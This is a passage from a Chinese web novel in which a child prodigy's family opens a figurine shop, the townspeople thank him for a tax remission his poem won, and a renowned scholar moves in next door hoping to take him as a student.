老崔氏闻言,笑道:“今日家里店铺开业,岘哥儿跟那帮孩子们,说是要给《虹猫》的书友准备个惊喜。打算扮作七侠沿街游走,热闹一番嘞。” 对的,‘扮七侠’。 再直白点来说,就是古代版人物角色扮演,属于上辈子二次元群体的常规操作。 但放到古代来,仍旧挺震撼。 南阳城中集市街的后面,小巷子里。 几辆马车停靠在一旁。 崔岘、庄瑾、高奇,和几个小少年正嘻嘻哈哈催促:“好了没有,穿好了没有啊!” 他们几人当中,崔岘扮了‘虹猫少侠’,穿着一身白色唐装,格外俊俏。 庄瑾、高奇等人,分别扮作‘跳跳’、‘大奔’、‘逗逗’等,各自手持宝剑,瞧着也算英武。 但唯独迟迟不见裴坚、李鹤聿二人露面。 半晌过后。 他俩终于期期艾艾的换好衣服,从马车里钻出来。 在瞧见他俩的瞬间,高奇等人愣住片刻,而后齐齐爆笑出声。 因为裴坚扮演的是蓝兔。 而李鹤聿扮演的则是沙丽。 二人一个微胖、一个瘦高,神情忸怩脸色涨红,简直——辣眼睛! 庄瑾笑的眼泪都流了出来。 李鹤聿一副生无可恋的表情。 裴坚羞怒道:“说好的不许笑呢!你再笑,那咱俩换换,你来扮蓝兔。” 庄瑾连忙摇头。 还是崔岘强忍住笑意,安抚道:“好了好了,祖母他们估计也即将到泥宝斋,咱们快出发吧。” 扮作七侠、黑心虎、黑小虎、马三娘等角色的一群小少年,走出巷子,上了黄牛板车。 而后,板车载着他们,缓缓驶进集市街。 今日万众期待的泥宝斋开业。 很多《虹猫》书友闻风赶来,在集市街里汇聚,眼巴巴等待开门后购买摩喉罗。 结果—— 某位等待许久、有些无聊的书友一回头,看到驶进集市街的板车,激动到瞠目,尖声道:“诸位快看,是七侠!是七侠!” 什么? 这一嗓子,让无数人齐齐回头。 然后不出意外,响起各种激动惊叹声、以及……怒骂声。 “虹猫少侠!我竟然看到了活着的虹猫少侠!好生俊俏不凡!” “他手中拿着的竟然是长虹剑!天呐,好威武!这就是我想象中长虹剑的模样。” “那个手持奔雷剑的,是大奔吧!” “我的老天,那个死胖子是谁,他竟然敢扮演蓝兔?” “还有个竹竿扮演丽莎,岂有此理,岂有此理!” 没看过《虹猫》的路人纯粹是来凑热闹。 而看过这话本的,有人激动到手舞足蹈,有人气到七窍生烟。 板车上。 裴坚本来还有些忸怩。 等听到很多人在怒骂自己,于是贱嗖嗖的当着众人的面,搔首弄姿舞动冰魄剑。 李鹤聿也很快加入其中。 眼看前来围观的人越来越多,甚至有书友大声嚷嚷着‘莫拦我,我要一剑戳死那货’,崔岘神情发紧。 他真担心裴坚被愤怒的书友们给戳死了! 好在,大家也只是说说。 当老崔氏带着一家子赶到泥宝斋,看着外面乌泱乌泱的人群,惊得目瞪口呆。 虽然岘哥儿说,扮作七侠游街,会有宣传效果,可这效果也太好了吧! 结果崔家人定睛一看:好家伙,那激动围观的人群,估计至少有一半,都是在怒骂裴坚、李鹤聿。 远远瞧见老崔氏等人来了。 裴坚高呼道:“祖母,快快开门营业,我顶不住了!” “……” 这孩子,拿生命在宣传呢。 老崔氏当即一甩手,开门! 崔伯山、崔仲渊兄弟二人各点燃一串炮竹。 在噼里啪啦的声响中,在崔家人激动的神情中,在书友们期盼的注视中—— 泥宝斋,开业咯! 大量顾客先后涌进去,等瞧见里面栩栩如生的摩喉罗以后,眼睛都直了,各个发出没见过世面的惊叹。 渲色着衣七侠摩喉罗80文一个。 普通黄胖七侠30文一个。 还有长虹剑、冰魄剑等单独的‘神剑’售卖,大小不一、材质不一,售价从20文,到80文不等。 甚至在店铺里,还有供真人穿的‘七侠套装服饰’。 “这个价格,太实惠了!” “买买买,我要买!” “虹猫少侠的真人服装好生俊俏,我要买一套!” 生意真的太好了。 老崔氏,和两个儿子、两个儿媳妇一起,全家上阵都有点招呼不过来。 店铺里的摩喉罗,以肉眼可见的速度被抢空。 店铺外。 崔岘、裴坚、庄瑾、李鹤聿几人累的气喘吁吁,互相靠在一起兴奋傻笑。 这是他们一起合力开的第一家店铺。 生意这般好,他们自然开心呐。 “也不枉少爷我做出这般牺牲,丢人现眼。” 裴坚感慨了一句,而后感觉不知为何,地面都在微微震颤? 他疑惑回头,看到数以百、不、数以千计的人,涨红着脸乌泱乌泱朝集市街涌进来。 娘嘞! 裴坚吓了一跳,惊恐道:“不是,少爷我模样这般俊俏,扮个蓝兔而已,竟惹来这么多人齐齐震怒?这架势,真打算把我戳死啊!” 崔岘、庄瑾、李鹤聿闻言跟着回头,也吓得一咕噜爬起来。 因为这次来的人实在太多了。 放眼望去到处都是人,好像全城的人都来了似的。 他们一边朝这边赶来,一边嚷嚷着什么‘免除三年徭役’、‘五年六成粮税’之类的话。 这是什么情况啊? 74、全城百姓感恩道谢 如此多百姓涌入集市街,自然不可能是为了来戳死裴坚。 也不是为了来买摩喉罗。 这群激动的百姓,是来感谢小神童崔岘的啊! 当崔家在忙活着新店开业的时候。 赵志案的审查官员们,自京城出发。 先到开封府,而后在布政使司、按察使司大人们的陪同下,赶到了南阳知府衙门。 与这些上官一起回来的,还有被迫留在开封许久的宋知府。 但有趣的是。 这群官差大人们来南阳后,不着急断案。 反倒先公布了一个经由吏部、户部、工部共同起草,内阁批准的、利好南阳县的政令。 因上官们到得早。 许多府衙的南阳官员们,睡眼惺忪的在下面听着。 包括急吼吼来恭迎天官的叶怀峰。 便见那为首的官差打开一本折子,念道:“自今年秋日起,免除南阳县百姓三年徭役。” 叶怀峰猛然一个哆嗦。 其余南阳官员们眼睛都瞪直了,表情发飘,险些以为自己没睡醒。 官差又道:“免除未来五年,南阳县百姓六成粮税。免去《悯农二首》作者崔岘家二十年徭役、粮税。” “另,将《悯农二首》作范诗,推广天下学堂。” 嘶! 整个知府衙门一片安静。 每位官员脸上都写满了不可置信的震撼。 不是……虽知道这是利好南阳的政策,可这利好的也太生猛了吧! 免三年徭役,免五年六成粮税。 天呐! 这种好事情,千百年来都不见得能发生一次吧。 南阳县的百姓们,今日绝对要提前过年了! 而很显然。 南阳能批到这般利好政策,全因崔岘,全因《悯农二首》啊。 宋知府都快要高兴傻了,一把年纪了整个人兴奋的脸色发红。 先是忙不迭跟官差大人们道谢。 而后他看向全体激动的南阳官员,焦急道:“快,命县衙、府衙所有差役,加急张榜,将这个好消息告知我南阳百姓。” “另外,一定要写清楚,朝廷褒奖我南阳百姓,全因神童崔岘所作《悯农二首》。” “你们快去……不不不,本官得亲自过去,替我南阳百姓,谢谢小神童啊!” 如果说,先前宋知府去崔家慰问,有政治作秀成分在。 那么今日。 他哪怕贵为知府,也得赶过去,替全南阳百姓,向崔岘鞠躬致谢。 因为这是福泽家乡,利好万民之功绩啊! 宋知府想带着全衙门官员,立刻去找崔岘致谢,但又回头看向一帮京城来的官差,脸色为难。 天官们神情和煦,笑道:“我等先自行歇息,宋大人快去替百姓,感谢小神童吧。” “多谢各位大人体恤!下官这就去!” 宋知府赶忙道谢。 而后带着吴同知、叶县令,以及一众南阳官员,神情激动的出了衙门。 一盏茶功夫后。 县衙、府衙先后贴出公告榜。 怕百姓们不识字,还有官员特地在旁边念唱。 而后不出意外,整个南阳县城都跟着轰动了! 消息从衙门传出。 接着在各个街道、巷子里迅速传播、蔓延。 猪肉铺里拿着刀的汉子兴奋到眼泪都流了出来。 坐在街边唠闲话的老婆婆猛然站起来,眼睛里是不可置信的惊喜。 有男人在院子里,抱着自家婆娘又哭又笑。 有女人在串门告知邻里这个天大的好消息。 整个城市都陷入一场巨大的狂欢当中。 “真的,衙门里的老爷亲自说的!从今年秋天起,免除南阳县城所有百姓三年徭役!” “太好了,太好了啊!” “不仅免徭役,还免未来五年足足六成的粮税呢!” “天呐,那今年秋收,家里能囤下不少粮食了!” “官府的差爷们说啦,咱们南阳之所以能享受到这些政令,全因小神童崔岘作了《悯农二首》。陛下得知后,深受感动,赞扬小神童诗写得好,而后褒奖咱们南阳百姓哩!” “感谢小神童!感谢小神童啊!” 大量的百姓们,在听说此事后,纷纷神情激动的准备亲自找崔岘道谢。 他们一路打听,去了仲景巷。 但却扑了了个空。 而后得知崔家今日新店开业,于是激动的人们又赶去集市街。 不仅百姓。 宋知府等全体衙门中人,也神情激动的赶了过来。 崔岘、裴坚等人被这个阵仗吓到,纷纷后退到泥宝斋里,准备关门。 老崔氏等崔家人察觉到动静,出来张望,一个个也慌了。 哎呦我的娘! 怎地来了这么多的人呐! 再然后,崔家一大家子人,和崔岘、裴坚等七八个小子们,全都呆滞住。 便见街道上。 那群来势汹汹的人群,在瞧见崔岘以后,竟先后红着眼鞠躬道谢。 “多谢小神童!多谢小神童啊!” “你是咱们南阳的功臣,是咱们南阳百姓的恩公啊。” “对对,感谢小恩公!” “你不仅帮大家除掉了赵志那个狗官,还替全南阳百姓谋福。朝廷免除了我们三年的徭役,和五年六成粮税。” “小恩公,请受我们一拜!” 啊? 听到大量百姓们的话,老崔氏等人总算是弄懂了事情的始末。 但—— 这事情听起来怎么这么玄乎呢! 一点都不真实啊。 老崔氏扶住门框,整个人都有点发懵:“咱家岘哥儿,被皇帝陛下夸赞神童?还因此免除了整个南阳县城三年的徭役,和五年六成的粮税?” “老天爷啊!” 那可是皇帝陛下啊! 陈氏、崔仲渊夫妻俩脸色晕晕乎乎,恍若做梦。 旁边。 裴坚、李鹤聿、庄瑾、高奇四位少爷同样看的瞠目结舌。 而后,四人激动了! 他们合力,把不停往后退的崔岘推出去,向众人兴奋嚷嚷道:“看,他就是崔岘,他就是小神童崔岘呐!” “《悯农二首》是他作的,赵志也是他扳倒的!” “连皇帝陛下都夸赞他,还免除了咱们南阳百姓的徭役、赋税。乡亲们快看,他是不是特别俊俏!” 众目睽睽之下,崔岘闹了个大红脸,只觉得好生羞耻。 百姓们是真喜欢、感激小神童,纷纷笑着予以回应。 “纵观南阳县城,都没有比小恩公更俊俏的哩!” “除了又白又俏,还会作诗!” 不仅百姓们前来道谢。 稍晚一些时候,宋知府、吴同知、叶县令,以及一众南阳官员们,也浩浩荡荡赶了过来。 在无数百姓们的见证下。 一帮官老爷们齐齐向崔岘鞠躬致谢。 老油条宋知府难得没有再演戏,脸上表情十分动容真挚:“崔岘,本官要替南阳县全体百姓,向你致谢!” “你为南阳做了一件利好万民的好事啊。” 那日的场面,百姓们许多年都忘不掉。 全府衙、县衙的官老爷,齐齐向小神童崔岘鞠躬致谢。 小神童先是躲闪,而后被迫受了礼。 接着,他从泥宝斋里走出来,站在台阶上,笑着朝众人回礼:“诸位大人,以及在场的所有父老乡亲。小子崔岘,承蒙大家厚爱。” “然,此事并非岘一人之功。” “半月前,在河西村,得无数父老相助,我们才能将那赵志绳之以法!” “今日南阳承福泽雨露摘得善果,全因先前父老乡亲们自己种下善因。” “小子如今才八岁,实在担不起诸位鞠躬行礼!但,小子想说的是,若来日小子能走出这南阳,也必定将家乡放在心里,不忘今日父老乡亲之厚爱。” “望我们南阳,和南阳的每一位乡亲们,都能有个大好未来。” 人们看向脊梁笔挺,神采飞扬的小神童崔岘,满眼惊艳赞叹。 而后发出震天欢呼。 远处。 宋知府怔怔的看着崔岘,心想,这小子,是真就此乘势而起了啊。 他的未来,绝对难以估量! 75、我在课堂学自己写的诗 来感谢小恩公崔岘的百姓实在太多。 于是。 崔家‘泥宝斋’开业不到半日,店铺里的东西,便全卖空了。 一件都没剩下! 提前挂上‘本店打烊’的牌子后。 裴坚等几位少爷,和一众崔家人,在店铺里,将崔岘团团围住,目光火热。 崔岘被他们看的有些发毛,下意识后退一步,茫然道:“你们这是怎么了?” 怎么了? 哎呦瞧瞧这话问的! 老崔氏深吸一口气,脸上是压抑不住的激动:“岘哥儿,你可是被陛下给夸赞了啊!” 过去二十年,她日日盼望老天爷:让崔家祖坟冒股青烟,出个文曲星吧。 未曾想。 崔家这股青烟冒的这般猛烈,文曲星真落下来了! 甚至还惊动了陛下! 老崔氏以前做梦都没敢做这么大。 裴坚在旁边同样带着震撼:“是啊岘弟,连陛下都夸你是神童。还因为你,减免了南阳县百姓的徭役,粮税!你知道这意味着什么吗?” 崔岘眨眨眼,虚心问道:“这意味着什么?” 庄瑾、李鹤聿、高奇三人也都郑重看过来。 ……呃。 裴坚顿时支支吾吾说不上来,但不妨碍他一脸笃定道:“意味着,你这次超厉害的!” 嗐! 庄瑾很是无言:“这种众所周知的事情,就不必再多说了。咱们还是先来算算账目吧。” 对对,算算账。 今日新店开业第一天,东西可都全卖完了呢! 钱柜里,好几个大抽屉,全都装满了。 一帮人合力数钱。 崔伯山拿着算盘,等合完总账后,他满脸难以置信。 老崔氏急切道:“老大,究竟多少啊,你赶快说!” 崔伯山咽了口唾沫,小心翼翼道:“应该是54两零390文。” 哎呦我的娘! 崔家几个女人瞠目结舌。 连裴坚等人都很是吃惊。 这才第一天营业啊! 就算去掉三分之一的毛利,那也有足足三四十两银子进账。 一天时间,赚了小半套南阳房产? 嘶! 随后,大家又齐齐看向崔岘,表情呆滞。 崔岘见状摊了摊手:“只是今日刚好凑巧,碰到全城百姓来道谢,大家捧场而已。” “随着《虹猫》热度降下来,摩喉罗的生意也会逐渐变差。所以到时候,我再想办法,写新的话本吧。” “除此之外,还得扩大市场。带着泥宝斋走出南阳县,开到南阳府,甚至河南省去。” “届时我们不必再拘泥于摩喉罗生意,各个行业都要有所涉猎。” “所以祖母,你可莫要被这点小钱吓到。咱们南阳河西崔氏,能不能彻底崛起,成为世家大族,都得靠你带着我们,往前冲呐。” 想要成为世家大族,功名、声望、钱财、关系、大宅等等,都得全方位升级。 这仅靠崔岘一人,肯定做不到。 得全家一起努力。 听到这番话,老崔氏心脏砰砰砰跳动。 却又连忙赧然摆手:“这……岘哥儿,我大字不识的老婆子,我不行,我不行的。” 崔岘闻言就笑:“祖母,谁敢说你不行?你可太行了!当日赵志欺负咱们,祖母你一拍桌,带领咱全家人拧成一股绳,最终把那赵志绳之以法!” “你可是咱家的主心骨哩。” 老崔氏被夸得脸色发红。 林氏、陈氏两个儿媳笑着在旁边附和:“岘哥儿说的对,娘,你厉害着呢。” 这天,老崔氏脸上的红晕都没消退过。 甚至回家后,她也没有像往常那般,盯着两个儿子说‘老大老二赶紧去温书’。 人都是会成长的。 她困在河西村崔家二十年,常年郁郁寡欢,心结沉重。全身心都盯着两个儿子,恨不得他俩钻进书本里,没日没夜读书。 而这短短半年来,小孙子带着崔家走出河西村,获得声望,赚到钱财。 让崔家扬眉吐气。 甚至连老崔氏自己,都咬牙哆嗦着,参与了扳倒赵志一案。 然后她发现:那权势滔天的赵县丞,原来也能被她们一家子收拾掉。 开一个摩睺罗店铺,一天可以赚到原来崔家半辈子都赚不到的钱。 小孙子岘哥儿真的很厉害,很优秀。 带着他们从泥巴地里走了出来。 那么作为崔岘的祖母,作为这一家子的主心骨,她自己,是不是也得咬牙立起来? 岘哥儿在为崔家之崛起而努力。 自己这个老婆子,又凭什么不努力呢? 她躺在床上,想着岘哥儿鼓励自己的话,越想越激动,越想越意动。 有个声音在脑海里说:你逼迫了两个儿子那么多年,可曾试着逼迫自己一把? 与其鸡娃,不如鸡自己啊! 次日一大早。 老崔氏早早起床,在院子里打了一套她看了多年,却第一次打的五禽戏! 崔仲渊、崔伯山起床后,瞧见这一幕,差点以为看花眼了。 崔伯山试探性喊道:“娘?” 老崔氏回过头,颇有些难为情的说道:“老大,老二,你们能不能教教娘。娘想认字儿,也想学学如何算账。” 恰逢这时候,崔岘也起床了。听到这话,顿时竖起大拇指:“祖母果真是行动派,好样的!” 老崔氏不知道什么是‘行动派’。 但听出孙子是在夸赞自己,赧然笑道:“先试着学一学,还不知道能不能学会哩。” 于是,接下来这些天,崔伯山、崔仲渊兄弟俩懵了。 娘不再时刻盯着他俩学习。 因为老崔氏自己,也忙着开始学习咯! 崔岘将祖母的转变看在眼中,心情极好的去上学。 伏牛巷。 裴坚等人照旧在巷子口等着他们。 瞧见崔岘过来。 裴坚从书箱里掏出几张‘赏票’,当作折扇给自己扇风,还煞有介事道:“哎呀,今日还是有点热奥。” “吴夫子奖励的赏票,用来吹风刚刚好。你们知道的,我可没有炫耀的意思。” 说是没有炫耀,但他嘴巴都快要咧到耳后根了。 庄瑾、高奇、李鹤聿几人,也都各自将赏票取出来,超刻意的扇风。 赵志案过后,几位少爷也在成长。 课堂上学习的知识,在课外实现了教育的意义。 而在课外懂了教育的意义,在课堂上,才真的能沉下心来学习啊。 就如吴清澜夫子说的那般:功崇惟志,业广惟勤。 只是,见几位大哥这般嘚瑟。 崔岘打开书箱,指着里面满满一书箱的赏票,笑道:“真羡慕你们,可以把所有赏票拿在手里扇风。我这些,十只手都拿不过来。” 被秀一脸的裴坚四人:“……” 好了知道了,不许再说了奥! 他们嘻嘻哈哈笑闹着去学堂。 赵志案过后,整个裴氏族学里的学习氛围都极好。甚至以前经常板着脸骂‘朽木’的吴夫子,最近也都满脸笑意。 众学子刚在课堂上落座。 便见吴清澜走进来,说道:“今日学习一首新诗。” 大家都没太过在意。 结果吴清澜看向满课堂的学子,停顿片刻,自己先笑了:“这首诗,叫做《悯农二首》。经由礼部大人们商议,将这首诗作为范诗,送往天下学堂,供学子们学习。” 哗! 听到这话,课堂上安静下来。 而后所有人都齐齐看向崔岘,眼睛里尽是激动与振奋。 还有浓浓的崇拜! 裴坚更是一下子站起来,大声道:“夫子,那岂不是说,全天下所有的学子,以后都会知道《悯农二首》,都会认识崔岘?” 老天啊! 那这可是真正意义上的‘名扬天下’了! 吴清澜笑着点头:“自然!” 得到夫子肯定得答案。 这下不止裴坚,其余几位少爷,和满课堂的学子们,都振奋欢呼出声。 “崔岘兄,你太厉害了!” “来日功成名就,莫要忘记咱们这帮同窗。” “崔岘兄,以后你就是我在士林儒学圈层里的最强人脉了!” 被围在中间的崔岘笑眯眯朝诸位同窗拱手:“好说,好说。” 裴坚在一旁,看着被众人夸赞的崔岘,很是替他高兴。 但没来由的,又生出些许自卑。 76、不是来收徒的东莱先生 虽说心里自卑,不过裴坚一点没表露出来。 他最近学习很是努力。 并非先前那种,到处咋呼吆喝自己要学习,自我感动式的浮躁努力。 而是真的沉下心来在读书。 经历了赵志案后,裴坚觉得自己成熟了一些。 具体成熟在哪里,他自己也说不上来。 但吴夫子对他的态度越来越和煦,还破天荒得到了好几张赏票。 他不再被留堂了。 以前让自己觉得头疼的书,现在沉下心来背诵,都能流畅背出来。 写的字帖,也比以前好上很多。 甚至远在开封府的父亲、祖父,都破天荒写信回来,把他好生夸了一番。 祖母裴老夫人更是每日欣慰赞叹‘我家坚哥儿出息咯’。 学堂里,再也不会有人笑话他‘朽木’。 可是人的想法,真的很奇怪。 以前被无数人嘲讽奚落的时候,裴坚虽说有些难受,但从不会觉得自卑。 现在分明人人都在夸他,他反而越来越心虚,越来越怯场。 于是自卑便这样悄然在心底滋生。 因为裴坚心里清楚,他并不优秀。 读书使人明智,读书越多,越能发现自己的不足、与渺小。 那些艰涩难懂的书籍,岘弟看上一遍,轻松就会了。 而他要努力跟上夫子的节奏,在课堂上保持十二万分的努力,回家后继续挑灯夜读,才能勉强跟上。 少年成长的烦恼之一便是—— 在心气儿最高的年纪,认清自己大概是个普普通通的平庸之人。 尤其是,他还有个名扬天下的神童小弟。 但裴少爷全身最硬的向来是那张嘴,他心里那些自卑,绝对不可能往外说。 甚至越自卑,越要表现的若无其事、臭屁嘚瑟。 一天的课业结束了。 四位少爷,和崔岘,以及崔钰都按时放学,大家都不再被留堂。 晚霞漫天璀璨,傍晚凉风习习。 放学路上。 裴坚背着书箱突然开口,把一帮小兄弟们震得不轻。 他得意道:“兄弟们,跟大家说个事儿啊。明年,我准备下场考科举了。” 啊? 庄瑾以为他在开玩笑呢,笑嘻嘻道:“别吹牛了,你要是下场考科举,那我也去。” 裴坚挑了挑眉,也不反驳,只是笑。 然后换庄瑾笑不出来了。 李鹤聿磕磕巴巴的说道:“不是,你来真的啊?” 连崔岘都很是惊讶。 裴坚‘嗯’了一声,表情难得正经了些:“你们也知道,我家的情况。我早晚都是要下场考科举的。” “我五岁开蒙,到现在,学了六年,总算隐约摸到了一些门道。” “近日我祖父写信给夫子,询问了我的情况。和夫子商议后,他们决定,让我开始学习做八股文。” 高奇还是有些无法接受这个事情,喃喃道:“可是,这已经是下半年了。你刚开始学习八股文,明年上半年就参加科举,是不是有点太着急了?” 裴坚笑道:“参加科举,并不代表一定要中榜啊。我提前下场,先感受一下。也算是为以后科举做好准备吧。” 奥。 听完这话,庄瑾、李鹤聿、高奇三人讷讷对视,总觉得不对味儿。 这可是裴坚啊老天! 兄弟们当中最纨绔、最朽木、最不靠谱的裴坚! 他突然就要考科举了! 想想就觉得很荒谬。 见三位损友这个表情,裴坚笑道:“兄弟们,别这样。人总是要成长的,咱们总不能一直混下去。” “想想赵志案,若非岘弟带着咱们出谋划策,又写了《悯农二首》,如何能赢的这般漂亮?” “想来,这便是读书的意义。” “而咱们来学堂读书,不就是为了来日参加科举吗?” 天啊,这番话真的很不‘裴坚’。 唯有崔岘听完后,笑看着裴坚,夸赞道:“大哥,你长大了。” 裴坚得意一挑眉,又恢复了往日那股吊儿当啷的劲儿:“是吧,我也这样觉得!” 走到伏牛巷口。 他嘻嘻哈哈和众人挥手,背着书箱回家。 李鹤聿、高奇、庄瑾三人也相互道别。 但看得出来,方才裴坚那番话,给他们的冲击力很大,因此几人表情都有些恍惚。 而崔岘站在路口,看着晃晃悠悠洒脱回家的裴坚,眉头微微蹙起。 崔钰在旁边问道:“阿弟,怎么了?” 崔岘摇了摇头。 不知是不是多想了,他觉得裴坚状态有些奇怪。 · 当崔岘等人放学的时候。 傍晚,天边霞光将将消逝。 一个胖乎乎、模样和蔼、身穿儒衫的老者,坐着驴车,慢悠悠进了南阳县城。 胖老者打量着这座陌生的小县城,赞叹道:“这便是我小徒弟生长的地方?果真人杰地灵、民风淳朴啊。” 人杰地灵倒还好说。 刚进城,就瞄了一眼,是怎么看出民风淳朴的啊? 负责赶驴车的仆从闻言咧了咧嘴,提醒道:“老爷,人家那神童娃娃,还没有答应做你徒弟呢。” 胖老者脸色一僵,羞恼道:“就你话多!迟早的事儿!” 仆从被训斥了也不怕,提议道:“那我去找人打听一下,神童娃娃家住在哪里。” 胖老者直摇头:“不妥不妥!咱们还是找家客栈住下,明日写张拜帖,先去南阳县学吧。” 仆从纳闷道:“咱们不是来收小神童为徒的吗?去县学作甚?” 胖老者轻哼一声:“还不是因为李端那厮办得好事儿!不知道提前给老夫写信,如今我那小徒弟因《悯农二首》已上达天听,名扬天下。” “我千里迢迢上赶着贴过来,显得好生市侩。看人家有了名声,才来巴巴收徒。” 仆从反问道:“难道不是吗?” “……” 胖老者大怒:“当然不是!而且,老夫在外好歹有些薄名,如今贸然登门让人家拜师,被拒绝了怎么办?老夫我不要面子的!” “所以你记住,我此次,并非特地不远千里为收徒而来。是刚好游历到南阳,顺便去南阳县学讲课。” “总之,先把老夫来到南阳的消息散布出去。” “我那乖乖徒弟听到消息后,说不定第一时间就来拜师了。” 真是好一个‘说不定’。 仆从讷讷无言半晌,说道:“万一人家神童娃娃没来找你呢?老爷你千里迢迢过来,不就为了收徒。何必把事情弄得这般复杂?” 胖老者这次也迟疑了,不确定道:“应该……不至于吧?这些年,不管老夫走到哪里,都有很多人想要来拜师的。” “还有,老夫再次跟你强调一遍,我不是来收徒的!” 77、新搬来的邻居是大佬 这晚,东莱先生不顾仆从的劝阻,在南阳一家客栈住下。 入住前,他满脸自信。 可等躺在客栈的床上后,他却翻来覆去,睡不安稳。 直至后半夜。 仍旧睡不着的东莱先生走出房门,把在另一间卧房睡觉的仆从唤醒。 仆从困得眼前发黑,痛苦道:“老爷,我知道,你真不是来收徒的。” “……” 东莱先生神情微滞。 而后抱怨道:“咱们也总不能一直睡客栈,我实在睡不安稳。还是得去找个能落脚的地方,暂时安家。” 什么叫做‘不能一直住客栈’? 难道不是你非要住客栈的吗,而且这才住进来几个时辰而已。 哪里来的‘一直’啊! 仆从努力瞪大困顿的双眼,实在没心思同他辩驳,虚弱回应道:“老爷你说的对,我明日便去租赁房屋。” 东莱先生问道:“那你准备去哪里租赁呢?” 仆从满脑袋小问号。 我们第一次来南阳,人生地不熟,什么都没来得及去打听。 你觉得我能知道去哪里租赁吗。 可话到嘴边,看着老爷眼睛里的期盼,仆从悟了。 东莱先生轻咳一声,目光闪躲。 仆从假装思索很久,这才道:“啊,这真的是一个很难抉择的大难题呢。” “不如这样,老爷你明日去县学露个脸,好生出出风头。” “我去打听一下小神童家住在哪里,然后把房屋租赁在他们家隔壁吧,或者对门也行。” 东莱先生闻言,矜持迟疑道:“这是不是有点不太合适?目的性太强了,很有巴巴上赶着贴过去的嫌疑。” 仆从面无表情附和道:“确实。” “……” 东莱先生脸色一僵,随后假装若无其事道:“算了,反正这等小事,你看着做主吧。老夫向来是不怎么在意的。” 说完后,他背着手喜滋滋离开。 仆从痛苦的挠了挠头,心中吐槽:老爷你这般不值钱的模样,当真是没眼看。 偏偏还要假矜持。 等到时候人家神童娃娃不理睬你,有你哭的时候。 次日。 东莱先生早早起床,赶往县学。 他看起来模样憨态可掬,穿着一件普通儒衫,把拜帖递过去的时候,县学的门房都没怎么在意。 可当拜帖送进去不足半盏茶时间。 县学的教谕、训导,带着一大帮学子们,呼啦啦冲了出来。 “东莱先生?” “竟然真的是东莱先生!” “老天啊!咱们县学何德何能,竟然能有幸接待东莱先生!” “学生拜见东莱先生!” 他们个个神情激动,脸色涨得通红,满眼都是崇拜。 县学的教谕、训导,更是使劲弯腰鞠躬,恭恭敬敬执弟子礼。 这,便是名儒效应啊! 全天下读书人的楷模和偶像,名震文坛的超级大儒,东莱先生! 东莱先生笑呵呵接受了众人的行礼。 而后不经意、超刻意的解释道:“诸位不必客气,老夫受李端所托,来河南游历讲学。刚好途经南阳,所以来县学一趟。” 哗! 听到这话,南阳县学的夫子、学子们只觉得幸福到快要晕厥过去。 东莱先生竟然是来给他们上课的! 教谕激动的浑身发抖,颤声道:“多谢先生!学生替南阳县学的学子们,多谢先生前来传道授业解惑。先生,您里面请!” 在众人激动的簇拥下,东莱先生进了县学。 而后不出意外。 周雍来到南阳县学讲课的消息,如风一般,迅速在整个南阳文人群体中传开了。 凡是听说此事的人,无不瞠目结舌、神情期盼。 这是向大儒请教的好机会啊! 若是幸运一点,被东莱先生看中,收作弟子……那真是做梦都会笑醒。 在一片激动的学子当中。 唯独崔伯山、崔仲渊兄弟俩神情茫然。 他俩在河西村读死书多年,和外界文坛近乎失联,因此对东莱先生周雍的‘含金量’一无所知。 等听完同窗们激动的讲解后。 兄弟俩嘴巴张的老大:这样厉害的人物,怎地来南阳啦? 另一边。 东莱先生的仆从,则是去打听神童娃娃家的住址。 崔岘如今在南阳绝对属于‘名人’,仆从很容易就打探到了仲景巷。 而且也是巧了。 仲景巷里刚好空出了一户房屋。 听说这家人也姓崔,但是和神童娃娃家起了龃龉,双方闹得很不愉快。 神童娃娃因圣上免南阳粮税一事,被百姓所喜爱。 于是这户崔家人难免遭其余邻居白眼奚落,在仲景巷过不下去了。 索性决定卖掉房子,搬去别处。 仆从打听完事情始末,觉得这地方挺符合老爷的需求—— 距离神童娃娃家这么近,就差住人家院子里了。 哪怕是个破茅草屋,老爷都会满意的。 所以仆从大手一挥,从牙行里租赁下这户房屋。 随后,他去县学找老爷。 老爷努力做出一副不在意的模样:“这种小事,你做主就行。” 结果一转头。 东莱先生便同县学的学子们和蔼说道:“老夫会在南阳逗留一段时间,目前住在仲景巷里,你们有疑难问题,可以来家里请教。” 县学的学子们只觉得幸福来得太突然,晕晕乎乎的不真实。 他们这辈子,竟然能有幸得名家大儒指点学问? 而听到这话的崔伯山,崔仲渊互相对视,表情既吃惊,又激动。 好巧!东莱先生竟然跟他们住在同一个巷子啊。 于是这一日。 不出意外,仲景巷外挤满了穿儒衫,神情恭敬,前来请教的学子们。 原崔老头家大门敞开。 学子们从院子里,一路排队到巷子外,当真好生壮观。 仲景巷里的邻居都在议论此事。 崔岘、崔钰兄弟俩放学归家,瞧见这大场面,也被唬了一大跳。 这……什么情况啊? 兄弟二人站在巷子里侧耳听了一会儿,大概了解到,好像是一个很有名的大儒,在这里住下了。 于是很多读书人前来请教。 大儒? 崔岘心中一动,路过原崔老头家院子门口的时候,还特地往里面张望。 但因为人太多,他什么都没瞧见。 等回到家,瞧见父亲、大伯也在跟家里人谈论‘大儒’。 崔岘好奇问道:“爹,那个什么东莱先生,很厉害吗?” 崔仲渊当即道:“是的!爹听人家说,这位东莱先生,可是一位非常了不得的人物!他是如今文坛当之无愧的第一人,受天下读书人追捧尊崇。” “不仅学识渊博、名声赫赫。” “他还有一位师弟,是今河南布政史李大人。” “而东莱先生的师长,来头则是更加惊人,是当今内阁次辅徐大人。” 好家伙! 难怪外面排起那么长的长队。 崔岘眼睛亮起来,心思陡然活络。这么粗的大腿,不抱简直不是人啊! 那么问题来了,该怎么想个法子,佯装不经意抱上去呢? 78、震惊东莱的心算能力 这日。 东莱先生家大门外排队的学子,直到天黑,才依依不舍散去。 崔岘站在门口,朝那边张望片刻,而后轻‘嘶’了一声。 这大腿,实在太粗太诱人。 所以和他一样,有抱大腿想法的人,简直不要太多。 但完全可以理解。 人家这老先生,不仅自己是名儒,还有个布政史师兄,以及内阁次辅老师。 有学识、有名望,有实权,有后台。 成功要素直接叠满了! 简直是完美‘靠山’,天塌了,都能有能力帮忙顶住那种。 崔岘当初为走出河西村,忽悠大哥裴坚,本质不就是为了给自己找靠山嘛。 可大哥那小胳膊小腿儿的,实在不经靠。 以后崔岘哪天玩儿脱了,莫说大哥。整个裴家也不见得能替他撑住。 再说,就大哥这个情况,将来还得崔岘自己立起来,替他做靠山呢。 所以该怎么先跟隔壁大儒建立联系,探探人家口风? 比如您老人家有没有收个徒弟的意愿呢。 在下不才,倒是挺愿意的! 